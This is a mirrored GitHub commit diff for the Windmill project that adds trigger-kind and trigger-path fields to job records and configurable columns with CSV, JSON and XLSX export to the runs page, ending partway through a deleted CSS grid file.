mirror of
https://github.com/windmill-labs/windmill.git
synced 2026-11-17 00:20:51 +00:00
feat: configurable columns and csv/json/xlsx export on the runs page (#12302)
* feat: configurable columns and csv/json/xlsx export on the runs page Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> * fix: quote formula-like values in the runs csv export Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> * fix: widen the runs table to its columns and skip obscured runs in exports Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> * fix: clear a row-set trigger kind filter when another row filter is applied Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
co-authored by
Claude Opus 5.5
parent
8b404164e3
commit
47005d5fcf
@@ -19,7 +19,7 @@ use std::collections::HashMap;
|
||||
use uuid::Uuid;
|
||||
use windmill_common::{
|
||||
error,
|
||||
jobs::{CompletedJob, JobKind, JobStatus, JobTriggerKind, QueuedJob},
|
||||
jobs::{CompletedJob, JobKind, JobStatus, JobTriggerKind, QueuedJob, TriggerKindLabel},
|
||||
scripts::{ScriptHash, ScriptLang},
|
||||
utils::now_from_db,
|
||||
DB,
|
||||
@@ -323,6 +323,8 @@ pub struct UnifiedJob {
|
||||
pub runnable_settings_handle: Option<i64>,
|
||||
pub is_retry: Option<bool>,
|
||||
pub resolved: Option<bool>,
|
||||
pub trigger_kind: Option<TriggerKindLabel>,
|
||||
pub trigger_path: Option<String>,
|
||||
}
|
||||
|
||||
const CJ_FIELDS: &[&str] = &[
|
||||
@@ -366,6 +368,8 @@ const CJ_FIELDS: &[&str] = &[
|
||||
"null as runnable_settings_handle",
|
||||
"EXISTS(SELECT 1 FROM native_retry_attempt WHERE job_id = v2_job.id) as is_retry",
|
||||
"EXISTS(SELECT 1 FROM job_resolution WHERE job_id = v2_job_completed.id) as resolved",
|
||||
"v2_job.trigger_kind",
|
||||
"v2_job.trigger as trigger_path",
|
||||
];
|
||||
|
||||
const QJ_FIELDS: &[&str] = &[
|
||||
@@ -410,6 +414,8 @@ const QJ_FIELDS: &[&str] = &[
|
||||
"EXISTS(SELECT 1 FROM native_retry_attempt WHERE job_id = v2_job.id) as is_retry",
|
||||
// A job still in the queue has not failed, so it can never be resolved.
|
||||
"false as resolved",
|
||||
"v2_job.trigger_kind",
|
||||
"v2_job.trigger as trigger_path",
|
||||
];
|
||||
|
||||
impl UnifiedJob {
|
||||
@@ -424,105 +430,114 @@ impl UnifiedJob {
|
||||
impl From<UnifiedJob> for Job {
|
||||
fn from(uj: UnifiedJob) -> Self {
|
||||
let args = uj.args.and_then(|v| serde_json::from_value(v).ok());
|
||||
let worker = uj.worker;
|
||||
match uj.typ.as_ref() {
|
||||
"CompletedJob" => Job::CompletedJob(JobExtended::new(
|
||||
uj.self_wait_time_ms,
|
||||
uj.aggregate_wait_time_ms,
|
||||
CompletedJob {
|
||||
workspace_id: uj.workspace_id,
|
||||
id: uj.id,
|
||||
parent_job: uj.parent_job,
|
||||
created_by: uj.created_by,
|
||||
created_at: uj.created_at,
|
||||
started_at: uj.started_at,
|
||||
completed_at: uj.completed_at,
|
||||
duration_ms: uj.duration_ms.unwrap(),
|
||||
success: uj.success.unwrap(),
|
||||
script_hash: uj.script_hash,
|
||||
script_path: uj.script_path,
|
||||
args: args.clone(),
|
||||
result: None,
|
||||
result_columns: None,
|
||||
logs: None,
|
||||
flow_status: None,
|
||||
workflow_as_code_status: None,
|
||||
deleted: uj.deleted,
|
||||
canceled: uj.canceled,
|
||||
canceled_by: uj.canceled_by,
|
||||
canceled_reason: None,
|
||||
job_kind: uj.job_kind,
|
||||
schedule_path: uj.schedule_path,
|
||||
permissioned_as: uj.permissioned_as,
|
||||
is_flow_step: uj.is_flow_step,
|
||||
language: uj.language,
|
||||
is_skipped: uj.is_skipped,
|
||||
email: uj.email,
|
||||
visible_to_owner: uj.visible_to_owner,
|
||||
mem_peak: uj.mem_peak,
|
||||
tag: uj.tag,
|
||||
priority: uj.priority,
|
||||
labels: uj.labels,
|
||||
preprocessed: uj.preprocessed,
|
||||
is_retry: uj.is_retry,
|
||||
resolved: uj.resolved,
|
||||
resolved_by: None,
|
||||
resolved_at: None,
|
||||
resolution_note: None,
|
||||
resolved_automatically: None,
|
||||
trigger_kind: None,
|
||||
},
|
||||
)),
|
||||
"QueuedJob" => Job::QueuedJob(JobExtended::new(
|
||||
uj.self_wait_time_ms,
|
||||
uj.aggregate_wait_time_ms,
|
||||
QueuedJob {
|
||||
workspace_id: uj.workspace_id,
|
||||
id: uj.id,
|
||||
parent_job: uj.parent_job,
|
||||
created_by: uj.created_by,
|
||||
created_at: uj.created_at,
|
||||
started_at: uj.started_at,
|
||||
scheduled_for: uj.scheduled_for.unwrap(),
|
||||
running: uj.running.unwrap(),
|
||||
script_hash: uj.script_hash,
|
||||
script_path: uj.script_path,
|
||||
script_entrypoint_override: None,
|
||||
args,
|
||||
logs: None,
|
||||
canceled: uj.canceled,
|
||||
canceled_by: uj.canceled_by,
|
||||
canceled_reason: None,
|
||||
last_ping: None,
|
||||
job_kind: uj.job_kind,
|
||||
schedule_path: uj.schedule_path,
|
||||
permissioned_as: uj.permissioned_as,
|
||||
flow_status: None,
|
||||
workflow_as_code_status: None,
|
||||
is_flow_step: uj.is_flow_step,
|
||||
language: uj.language,
|
||||
same_worker: false,
|
||||
pre_run_error: None,
|
||||
email: uj.email,
|
||||
visible_to_owner: uj.visible_to_owner,
|
||||
suspend: uj.suspend,
|
||||
mem_peak: uj.mem_peak,
|
||||
root_job: None,
|
||||
leaf_jobs: None,
|
||||
tag: uj.tag,
|
||||
concurrent_limit: uj.concurrent_limit,
|
||||
concurrency_time_window_s: uj.concurrency_time_window_s,
|
||||
timeout: None,
|
||||
flow_step_id: None,
|
||||
cache_ttl: None,
|
||||
cache_ignore_s3_path: None,
|
||||
priority: uj.priority,
|
||||
preprocessed: uj.preprocessed,
|
||||
runnable_settings_handle: uj.runnable_settings_handle,
|
||||
labels: uj.labels,
|
||||
is_retry: uj.is_retry,
|
||||
trigger_kind: None,
|
||||
},
|
||||
)),
|
||||
"CompletedJob" => Job::CompletedJob(JobExtended {
|
||||
worker,
|
||||
..JobExtended::new(
|
||||
uj.self_wait_time_ms,
|
||||
uj.aggregate_wait_time_ms,
|
||||
CompletedJob {
|
||||
workspace_id: uj.workspace_id,
|
||||
id: uj.id,
|
||||
parent_job: uj.parent_job,
|
||||
created_by: uj.created_by,
|
||||
created_at: uj.created_at,
|
||||
started_at: uj.started_at,
|
||||
completed_at: uj.completed_at,
|
||||
duration_ms: uj.duration_ms.unwrap(),
|
||||
success: uj.success.unwrap(),
|
||||
script_hash: uj.script_hash,
|
||||
script_path: uj.script_path,
|
||||
args: args.clone(),
|
||||
result: None,
|
||||
result_columns: None,
|
||||
logs: None,
|
||||
flow_status: None,
|
||||
workflow_as_code_status: None,
|
||||
deleted: uj.deleted,
|
||||
canceled: uj.canceled,
|
||||
canceled_by: uj.canceled_by,
|
||||
canceled_reason: None,
|
||||
job_kind: uj.job_kind,
|
||||
schedule_path: uj.schedule_path,
|
||||
permissioned_as: uj.permissioned_as,
|
||||
is_flow_step: uj.is_flow_step,
|
||||
language: uj.language,
|
||||
is_skipped: uj.is_skipped,
|
||||
email: uj.email,
|
||||
visible_to_owner: uj.visible_to_owner,
|
||||
mem_peak: uj.mem_peak,
|
||||
tag: uj.tag,
|
||||
priority: uj.priority,
|
||||
labels: uj.labels,
|
||||
preprocessed: uj.preprocessed,
|
||||
is_retry: uj.is_retry,
|
||||
resolved: uj.resolved,
|
||||
resolved_by: None,
|
||||
resolved_at: None,
|
||||
resolution_note: None,
|
||||
resolved_automatically: None,
|
||||
trigger_kind: uj.trigger_kind,
|
||||
trigger_path: uj.trigger_path,
|
||||
},
|
||||
)
|
||||
}),
|
||||
"QueuedJob" => Job::QueuedJob(JobExtended {
|
||||
worker,
|
||||
..JobExtended::new(
|
||||
uj.self_wait_time_ms,
|
||||
uj.aggregate_wait_time_ms,
|
||||
QueuedJob {
|
||||
workspace_id: uj.workspace_id,
|
||||
id: uj.id,
|
||||
parent_job: uj.parent_job,
|
||||
created_by: uj.created_by,
|
||||
created_at: uj.created_at,
|
||||
started_at: uj.started_at,
|
||||
scheduled_for: uj.scheduled_for.unwrap(),
|
||||
running: uj.running.unwrap(),
|
||||
script_hash: uj.script_hash,
|
||||
script_path: uj.script_path,
|
||||
script_entrypoint_override: None,
|
||||
args,
|
||||
logs: None,
|
||||
canceled: uj.canceled,
|
||||
canceled_by: uj.canceled_by,
|
||||
canceled_reason: None,
|
||||
last_ping: None,
|
||||
job_kind: uj.job_kind,
|
||||
schedule_path: uj.schedule_path,
|
||||
permissioned_as: uj.permissioned_as,
|
||||
flow_status: None,
|
||||
workflow_as_code_status: None,
|
||||
is_flow_step: uj.is_flow_step,
|
||||
language: uj.language,
|
||||
same_worker: false,
|
||||
pre_run_error: None,
|
||||
email: uj.email,
|
||||
visible_to_owner: uj.visible_to_owner,
|
||||
suspend: uj.suspend,
|
||||
mem_peak: uj.mem_peak,
|
||||
root_job: None,
|
||||
leaf_jobs: None,
|
||||
tag: uj.tag,
|
||||
concurrent_limit: uj.concurrent_limit,
|
||||
concurrency_time_window_s: uj.concurrency_time_window_s,
|
||||
timeout: None,
|
||||
flow_step_id: None,
|
||||
cache_ttl: None,
|
||||
cache_ignore_s3_path: None,
|
||||
priority: uj.priority,
|
||||
preprocessed: uj.preprocessed,
|
||||
runnable_settings_handle: uj.runnable_settings_handle,
|
||||
labels: uj.labels,
|
||||
is_retry: uj.is_retry,
|
||||
trigger_kind: uj.trigger_kind,
|
||||
trigger_path: uj.trigger_path,
|
||||
},
|
||||
)
|
||||
}),
|
||||
t => panic!("job type {} not valid", t),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -32229,6 +32229,9 @@ components:
|
||||
type: boolean
|
||||
trigger_kind:
|
||||
$ref: "#/components/schemas/JobTriggerKind"
|
||||
trigger_path:
|
||||
type: string
|
||||
description: Path of the trigger, schedule or app that started the job, if any
|
||||
worker:
|
||||
type: string
|
||||
required:
|
||||
@@ -32375,6 +32378,9 @@ components:
|
||||
resolution outside enterprise
|
||||
trigger_kind:
|
||||
$ref: "#/components/schemas/JobTriggerKind"
|
||||
trigger_path:
|
||||
type: string
|
||||
description: Path of the trigger, schedule or app that started the job, if any
|
||||
worker:
|
||||
type: string
|
||||
required:
|
||||
|
||||
@@ -309,6 +309,10 @@ pub struct QueuedJob {
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
#[sqlx(default)]
|
||||
pub trigger_kind: Option<TriggerKindLabel>,
|
||||
// `v2_job.trigger`: the path of the trigger, schedule or app that started the run.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
#[sqlx(default)]
|
||||
pub trigger_path: Option<String>,
|
||||
}
|
||||
|
||||
impl QueuedJob {
|
||||
@@ -386,6 +390,7 @@ impl Default for QueuedJob {
|
||||
labels: None,
|
||||
is_retry: None,
|
||||
trigger_kind: None,
|
||||
trigger_path: None,
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -480,6 +485,10 @@ pub struct CompletedJob {
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
#[sqlx(default)]
|
||||
pub trigger_kind: Option<TriggerKindLabel>,
|
||||
// `v2_job.trigger`: the path of the trigger, schedule or app that started the run.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
#[sqlx(default)]
|
||||
pub trigger_path: Option<String>,
|
||||
}
|
||||
|
||||
impl CompletedJob {
|
||||
|
||||
@@ -58,8 +58,17 @@
|
||||
TriangleAlertIcon,
|
||||
ArrowLeft,
|
||||
Loader2,
|
||||
SlidersHorizontal
|
||||
SlidersHorizontal,
|
||||
Columns3,
|
||||
Download
|
||||
} from 'lucide-svelte'
|
||||
import {
|
||||
RUNS_COLUMNS,
|
||||
DEFAULT_RUNS_COLUMNS,
|
||||
normalizeRunsColumns,
|
||||
type RunsColumnId
|
||||
} from '$lib/components/runs/runsColumns'
|
||||
import { exportRuns, type RunsExportFormat } from '$lib/components/runs/runsExport'
|
||||
import Popover from '$lib/components/meltComponents/Popover.svelte'
|
||||
import DropdownV2 from './DropdownV2.svelte'
|
||||
import TimeframeSelect, {
|
||||
@@ -109,6 +118,27 @@
|
||||
})
|
||||
)
|
||||
let perPage = useLocalStorageValue('runs_per_page', 1000, 'number')
|
||||
let columnsStorage = useLocalStorageValue<RunsColumnId[]>(
|
||||
'runs_table_columns',
|
||||
DEFAULT_RUNS_COLUMNS
|
||||
)
|
||||
let runsColumns = $derived(normalizeRunsColumns(columnsStorage.val))
|
||||
function setColumnShown(id: RunsColumnId, shown: boolean) {
|
||||
columnsStorage.val = shown ? [...runsColumns, id] : runsColumns.filter((c) => c !== id)
|
||||
}
|
||||
|
||||
let exporting = $state(false)
|
||||
async function onExport(format: RunsExportFormat) {
|
||||
exporting = true
|
||||
try {
|
||||
// Obscured runs of other workspaces carry placeholder fields, not their real outcome.
|
||||
await exportRuns(jobs ?? [], format)
|
||||
} catch (e) {
|
||||
sendUserToast(`Could not export runs: ${e}`, true)
|
||||
} finally {
|
||||
exporting = false
|
||||
}
|
||||
}
|
||||
let showSchedulesStorage = useLocalStorageValue('runs_show_schedules', true, 'boolean')
|
||||
let showFutureJobsStorage = useLocalStorageValue('runs_show_future_jobs', true, 'boolean')
|
||||
|
||||
@@ -314,6 +344,8 @@
|
||||
delete filters.val.tag
|
||||
delete filters.val.worker
|
||||
delete filters.val.schedule_path
|
||||
// `!schedule` is the persisted "hide schedules" preference, not a row filter.
|
||||
if (filters.val.job_trigger_kind !== '!schedule') delete filters.val.job_trigger_kind
|
||||
setter(e.detail)
|
||||
}
|
||||
}
|
||||
@@ -326,6 +358,7 @@
|
||||
const filterByTag = resetAndFilterBy((s) => (filters.val.tag = s))
|
||||
const filterBySchedule = resetAndFilterBy((s) => (filters.val.schedule_path = s))
|
||||
const filterByWorker = resetAndFilterBy((s) => (filters.val.worker = s))
|
||||
const filterByTriggerKind = resetAndFilterBy((s) => (filters.val.job_trigger_kind = s))
|
||||
|
||||
function typeOfChart(s: string | null): 'RunChart' | 'ConcurrencyChart' {
|
||||
switch (s) {
|
||||
@@ -1276,6 +1309,8 @@
|
||||
on:filterByTag={filterByTag}
|
||||
on:filterBySchedule={filterBySchedule}
|
||||
on:filterByWorker={filterByWorker}
|
||||
on:filterByTriggerKind={filterByTriggerKind}
|
||||
columns={runsColumns}
|
||||
bind:this={runsTable}
|
||||
perPage={perPage.val}
|
||||
bind:batchRerunOptionsIsOpen
|
||||
@@ -1355,6 +1390,59 @@
|
||||
Exit selection mode
|
||||
</Button>
|
||||
{/if}
|
||||
<Popover placement="top-start" contentClasses="p-3 flex flex-col gap-2 w-64">
|
||||
{#snippet trigger()}
|
||||
<Button
|
||||
variant="subtle"
|
||||
unifiedSize="sm"
|
||||
nonCaptureEvent
|
||||
startIcon={{ icon: Columns3 }}
|
||||
>
|
||||
Columns
|
||||
</Button>
|
||||
{/snippet}
|
||||
{#snippet content()}
|
||||
<span class="text-xs font-semibold text-emphasis">Visible columns</span>
|
||||
{#each RUNS_COLUMNS as column (column.id)}
|
||||
<Toggle
|
||||
size="xs"
|
||||
checked={runsColumns.includes(column.id)}
|
||||
disabled={column.required}
|
||||
on:change={(e) => setColumnShown(column.id, e.detail)}
|
||||
options={{ right: column.label, rightTooltip: column.description }}
|
||||
/>
|
||||
{/each}
|
||||
<Button
|
||||
variant="subtle"
|
||||
unifiedSize="xs"
|
||||
onClick={() => (columnsStorage.val = DEFAULT_RUNS_COLUMNS)}
|
||||
>
|
||||
Reset to default
|
||||
</Button>
|
||||
{/snippet}
|
||||
</Popover>
|
||||
<DropdownV2
|
||||
disabled={exporting || !jobs?.length}
|
||||
items={[
|
||||
{ displayName: 'Export as CSV', action: () => onExport('csv') },
|
||||
{ displayName: 'Export as JSON', action: () => onExport('json') },
|
||||
{ displayName: 'Export as XLSX', action: () => onExport('xlsx') }
|
||||
]}
|
||||
>
|
||||
{#snippet buttonReplacement()}
|
||||
<Button
|
||||
variant="subtle"
|
||||
unifiedSize="sm"
|
||||
nonCaptureEvent
|
||||
disabled={exporting || !jobs?.length}
|
||||
loading={exporting}
|
||||
startIcon={{ icon: Download }}
|
||||
title="Export the loaded runs"
|
||||
>
|
||||
Export
|
||||
</Button>
|
||||
{/snippet}
|
||||
</DropdownV2>
|
||||
<div class="flex-1"></div>
|
||||
<Toggle
|
||||
size="xs"
|
||||
|
||||
@@ -27,7 +27,8 @@
|
||||
import DropdownV2 from '../DropdownV2.svelte'
|
||||
import { Tooltip } from '../meltComponents'
|
||||
import RunLabels from './RunLabels.svelte'
|
||||
import './runs-grid.css'
|
||||
import type { RunsColumnId } from './runsColumns'
|
||||
import { triggerDisplayNamesMap } from '../triggers/utils'
|
||||
|
||||
const dispatch = createEventDispatcher()
|
||||
const hosted = useHostedPage()
|
||||
@@ -36,8 +37,8 @@
|
||||
job: Job
|
||||
selected?: boolean
|
||||
containerWidth?: number
|
||||
containsLabel?: boolean
|
||||
showTag?: boolean
|
||||
columns: RunsColumnId[]
|
||||
gridTemplateColumns: string
|
||||
activeLabel: string | null
|
||||
manualSelectionMode?: undefined | 'cancel' | 'rerun' | 'resolve'
|
||||
}
|
||||
@@ -46,8 +47,8 @@
|
||||
job,
|
||||
selected = false,
|
||||
containerWidth = 0,
|
||||
containsLabel = false,
|
||||
showTag = true,
|
||||
columns,
|
||||
gridTemplateColumns,
|
||||
activeLabel,
|
||||
manualSelectionMode
|
||||
}: Props = $props()
|
||||
@@ -59,6 +60,8 @@
|
||||
let labelWidth = $state(0)
|
||||
|
||||
let isJobRecent = $state(true)
|
||||
|
||||
let shown = $derived(new Set(columns))
|
||||
</script>
|
||||
|
||||
<Portal name="run-row">
|
||||
@@ -76,17 +79,7 @@
|
||||
'grid items-center h-full',
|
||||
'success' in job && job.resolved && 'opacity-60'
|
||||
)}
|
||||
class:grid-runs-table={!containsLabel && !manualSelectionMode && showTag}
|
||||
class:grid-runs-table-with-labels={containsLabel && !manualSelectionMode && showTag}
|
||||
class:grid-runs-table-selection={!containsLabel && manualSelectionMode && showTag}
|
||||
class:grid-runs-table-with-labels-selection={containsLabel && manualSelectionMode && showTag}
|
||||
class:grid-runs-table-no-tag={!containsLabel && !manualSelectionMode && !showTag}
|
||||
class:grid-runs-table-with-labels-no-tag={containsLabel && !manualSelectionMode && !showTag}
|
||||
class:grid-runs-table-selection-no-tag={!containsLabel && manualSelectionMode && !showTag}
|
||||
class:grid-runs-table-with-labels-selection-no-tag={containsLabel &&
|
||||
manualSelectionMode &&
|
||||
!showTag}
|
||||
style="width: {containerWidth}px"
|
||||
style="width: {containerWidth}px; grid-template-columns: {gridTemplateColumns}"
|
||||
onclick={() => dispatch('select')}
|
||||
oncontextmenu={(e) => !selected && dispatch('select')}
|
||||
>
|
||||
@@ -102,7 +95,7 @@
|
||||
<JobStatusIcon {job} {isExternal} />
|
||||
</div>
|
||||
|
||||
<!-- Job time -->
|
||||
{#if shown.has('started')}
|
||||
<div class="overflow-hidden min-w-0">
|
||||
<div class="flex flex-row items-center gap-1 text-secondary text-2xs">
|
||||
{#if job}
|
||||
@@ -139,8 +132,9 @@
|
||||
{/if}
|
||||
</div>
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
<!-- Job duration-->
|
||||
{#if shown.has('duration')}
|
||||
<div class="text-2xs font-normal text-primary pr-2">
|
||||
{#if job && 'duration_ms' in job && job.duration_ms != undefined}
|
||||
{msToReadableTime(job.duration_ms, 2)}
|
||||
@@ -148,8 +142,9 @@
|
||||
-
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
<!-- Job path-->
|
||||
{#if shown.has('path')}
|
||||
<div class="flex justify-start flex-col pr-4">
|
||||
{#if job === undefined}
|
||||
No job found
|
||||
@@ -239,8 +234,8 @@
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
<!-- Labels-->
|
||||
{#if containsLabel}
|
||||
{/if}
|
||||
{#if shown.has('labels')}
|
||||
<div class="flex justify-start overflow-hidden" bind:clientWidth={labelWidth}>
|
||||
<RunLabels
|
||||
{job}
|
||||
@@ -250,7 +245,7 @@
|
||||
/>
|
||||
</div>
|
||||
{/if}
|
||||
<!-- Author and schedule-->
|
||||
{#if shown.has('triggered_by')}
|
||||
<div class="flex justify-start pr-4 text-primary">
|
||||
{#if job && job.schedule_path}
|
||||
<div class="flex flex-row items-center gap-1 w-full -ml-2">
|
||||
@@ -312,15 +307,97 @@
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
<!-- Job tag-->
|
||||
{#if showTag}
|
||||
<div class="flex justify-start gap-1">
|
||||
{/if}
|
||||
|
||||
{#if shown.has('trigger_kind')}
|
||||
<div class="flex flex-row gap-1 items-center min-w-0 pr-2">
|
||||
{#if job.trigger_kind}
|
||||
<span class="text-xs text-primary font-normal truncate">
|
||||
{triggerDisplayNamesMap[job.trigger_kind] ?? job.trigger_kind}
|
||||
</span>
|
||||
{#if !isExternal}
|
||||
<DropdownV2
|
||||
items={[
|
||||
{
|
||||
displayName: `Filter by trigger kind: ${triggerDisplayNamesMap[job.trigger_kind] ?? job.trigger_kind}`,
|
||||
action: () => dispatch('filterByTriggerKind', job.trigger_kind)
|
||||
}
|
||||
]}
|
||||
class="w-fit"
|
||||
>
|
||||
{#snippet buttonReplacement()}
|
||||
{@render filterButton()}
|
||||
{/snippet}
|
||||
</DropdownV2>
|
||||
{/if}
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
{#if shown.has('trigger_path')}
|
||||
<div class="min-w-0 pr-2">
|
||||
{#if job.trigger_path}
|
||||
<div
|
||||
class="text-xs text-primary font-normal truncate text-left"
|
||||
dir="rtl"
|
||||
title={job.trigger_path}
|
||||
>
|
||||
{job.trigger_path}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
{#if shown.has('run_as')}
|
||||
<div class="min-w-0 pr-2">
|
||||
<div
|
||||
class="text-xs text-primary font-normal truncate text-left"
|
||||
title={job.email ?? job.permissioned_as}
|
||||
>
|
||||
{job.permissioned_as}
|
||||
</div>
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
{#if shown.has('tag')}
|
||||
<div class="flex justify-start gap-1 min-w-0">
|
||||
{#if job.tag}
|
||||
<span class="text-xs text-primary font-normal truncate" title={job.tag}>{job.tag}</span>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
{#if shown.has('worker')}
|
||||
<div class="flex flex-row gap-1 items-center min-w-0 pr-2">
|
||||
{#if job.worker}
|
||||
<span class="text-xs text-primary font-normal truncate" title={job.worker}>
|
||||
{job.worker}
|
||||
</span>
|
||||
<DropdownV2
|
||||
items={[
|
||||
{
|
||||
displayName: `Filter by worker: ${job.worker}`,
|
||||
action: () => dispatch('filterByWorker', job.worker)
|
||||
}
|
||||
]}
|
||||
class="w-fit"
|
||||
>
|
||||
{#snippet buttonReplacement()}
|
||||
{@render filterButton()}
|
||||
{/snippet}
|
||||
</DropdownV2>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
{#if shown.has('id')}
|
||||
<div class="min-w-0 pr-2">
|
||||
{#if !isExternal}
|
||||
<span class="text-xs text-secondary font-mono truncate block" title={job.id}>{job.id}</span>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
<!-- Job link-->
|
||||
{#if !isExternal}
|
||||
<div class="flex justify-end pr-2">
|
||||
|
||||
@@ -13,7 +13,12 @@
|
||||
Wrench
|
||||
} from 'lucide-svelte'
|
||||
import Popover from '../Popover.svelte'
|
||||
import './runs-grid.css'
|
||||
import {
|
||||
RUNS_COLUMNS,
|
||||
runsGridTemplateColumns,
|
||||
runsTableMinWidth,
|
||||
type RunsColumnId
|
||||
} from './runsColumns'
|
||||
import { useKeyPressed } from '$lib/svelte5Utils.svelte'
|
||||
import { twMerge } from 'tailwind-merge'
|
||||
import RightClickPopover from '../RightClickPopover.svelte'
|
||||
@@ -42,6 +47,7 @@
|
||||
onCancelJobs: (jobIds: string[]) => void
|
||||
onSetJobsResolution: (jobIds: string[], resolved: boolean) => void
|
||||
loadingExtra?: boolean
|
||||
columns: RunsColumnId[]
|
||||
}
|
||||
|
||||
let {
|
||||
@@ -58,7 +64,8 @@
|
||||
onCancelJobs,
|
||||
onSetJobsResolution,
|
||||
batchRerunOptionsIsOpen = $bindable(),
|
||||
loadingExtra = false
|
||||
loadingExtra = false,
|
||||
columns
|
||||
}: Props = $props()
|
||||
|
||||
let hasClickFocus = $state(false)
|
||||
@@ -257,6 +264,11 @@
|
||||
})
|
||||
|
||||
let showTag = $derived(containerWidth > 700)
|
||||
let shownColumns = $derived(
|
||||
columns.filter((c) => (c !== 'labels' || containsLabel) && (c !== 'tag' || showTag))
|
||||
)
|
||||
let gridTemplateColumns = $derived(runsGridTemplateColumns(shownColumns, !!manualSelectionMode))
|
||||
let minWidth = $derived(runsTableMinWidth(shownColumns, !!manualSelectionMode))
|
||||
let selectedIdsPossibleActions = $derived.by(() => {
|
||||
const cancellableJobIds: string[] = []
|
||||
const rerunnableJobIds: string[] = []
|
||||
@@ -382,7 +394,8 @@
|
||||
<!-- svelte-ignore a11y_click_events_have_key_events -->
|
||||
<!-- svelte-ignore a11y_no_static_element_interactions -->
|
||||
<div
|
||||
class="divide-y h-full flex flex-col min-w-[650px]"
|
||||
class="divide-y h-full flex flex-col"
|
||||
style="min-width: {minWidth}px"
|
||||
id="runs-table-wrapper"
|
||||
onclick={() => (hasClickFocus = true)}
|
||||
use:clickOutside={{ onClickOutside: () => (hasClickFocus = false) }}
|
||||
@@ -391,16 +404,7 @@
|
||||
<div>
|
||||
<div
|
||||
class="grid sticky top-0 w-full min-h-6 my-2 pr-4 items-end"
|
||||
class:grid-runs-table={!containsLabel && !manualSelectionMode && showTag}
|
||||
class:grid-runs-table-with-labels={containsLabel && !manualSelectionMode && showTag}
|
||||
class:grid-runs-table-selection={!containsLabel && manualSelectionMode && showTag}
|
||||
class:grid-runs-table-with-labels-selection={containsLabel && manualSelectionMode && showTag}
|
||||
class:grid-runs-table-no-tag={!containsLabel && !manualSelectionMode && !showTag}
|
||||
class:grid-runs-table-with-labels-no-tag={containsLabel && !manualSelectionMode && !showTag}
|
||||
class:grid-runs-table-selection-no-tag={!containsLabel && manualSelectionMode && !showTag}
|
||||
class:grid-runs-table-with-labels-selection-no-tag={containsLabel &&
|
||||
manualSelectionMode &&
|
||||
!showTag}
|
||||
style="grid-template-columns: {gridTemplateColumns}"
|
||||
>
|
||||
{#if manualSelectionMode}
|
||||
{@const allSelected = selectedIds.length === selectableJobs?.length}
|
||||
@@ -440,16 +444,11 @@
|
||||
{jobCount}
|
||||
{/if}
|
||||
</div>
|
||||
<div></div>
|
||||
<div class="text-xs font-semibold leading-3">Duration</div>
|
||||
<div class="text-xs font-semibold leading-3">Path</div>
|
||||
{#if containsLabel}
|
||||
<div class="text-xs font-semibold leading-3">Label</div>
|
||||
{/if}
|
||||
<div class="text-xs font-semibold leading-3">Triggered by</div>
|
||||
{#if showTag}
|
||||
<div class="text-xs font-semibold leading-3">Tag</div>
|
||||
{/if}
|
||||
{#each RUNS_COLUMNS.filter((c) => shownColumns.includes(c.id)) as column (column.id)}
|
||||
<div class="text-xs font-semibold leading-3 truncate">
|
||||
{column.id === 'started' ? '' : column.label}
|
||||
</div>
|
||||
{/each}
|
||||
<div> </div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -509,8 +508,8 @@
|
||||
>
|
||||
<RunRow
|
||||
{manualSelectionMode}
|
||||
{containsLabel}
|
||||
{showTag}
|
||||
columns={shownColumns}
|
||||
{gridTemplateColumns}
|
||||
job={jobOrDate.job}
|
||||
{selected}
|
||||
on:select={() => {
|
||||
@@ -570,6 +569,7 @@
|
||||
on:filterByConcurrencyKey
|
||||
on:filterBySchedule
|
||||
on:filterByWorker
|
||||
on:filterByTriggerKind
|
||||
{containerWidth}
|
||||
/>
|
||||
</div>
|
||||
|
||||
@@ -1,95 +0,0 @@
|
||||
/* Shared CSS Grid Styles for RunsTable and RunRow components */
|
||||
|
||||
/* Grid layouts with tag column */
|
||||
.grid-runs-table {
|
||||
grid-template-columns:
|
||||
60px /* Status (fixed width) */
|
||||
minmax(100px, 0.8fr) /* Started time (~10%) */
|
||||
minmax(60px, 0.5fr) /* Duration (~7%) */
|
||||
minmax(200px, 2.3fr) /* Path (~33% reduced for wider tag) */
|
||||
minmax(150px, 1.8fr) /* Triggered by (~28% reduced for wider tag) */
|
||||
minmax(70px, 0.5fr) /* Tag (~7% wider) */
|
||||
minmax(40px, 0.3fr); /* Actions (~5%) */
|
||||
}
|
||||
|
||||
.grid-runs-table-with-labels {
|
||||
grid-template-columns:
|
||||
60px /* Status (fixed width) */
|
||||
minmax(100px, 0.8fr) /* Started time (~10%) */
|
||||
minmax(60px, 0.5fr) /* Duration (~7%) */
|
||||
minmax(150px, 1.6fr) /* Path (~25% reduced for labels and wider tag) */
|
||||
minmax(120px, 1.3fr) /* Labels (~22% reduced for wider tag) */
|
||||
minmax(110px, 1.3fr) /* Triggered by (~22% reduced for wider tag) */
|
||||
minmax(70px, 0.5fr) /* Tag (~7% wider) */
|
||||
minmax(40px, 0.3fr); /* Actions (~5%) */
|
||||
}
|
||||
|
||||
.grid-runs-table-selection {
|
||||
grid-template-columns:
|
||||
50px /* Selection checkbox (fixed width) */
|
||||
80px /* Status (fixed width) */
|
||||
minmax(100px, 0.8fr) /* Started time (~10%) */
|
||||
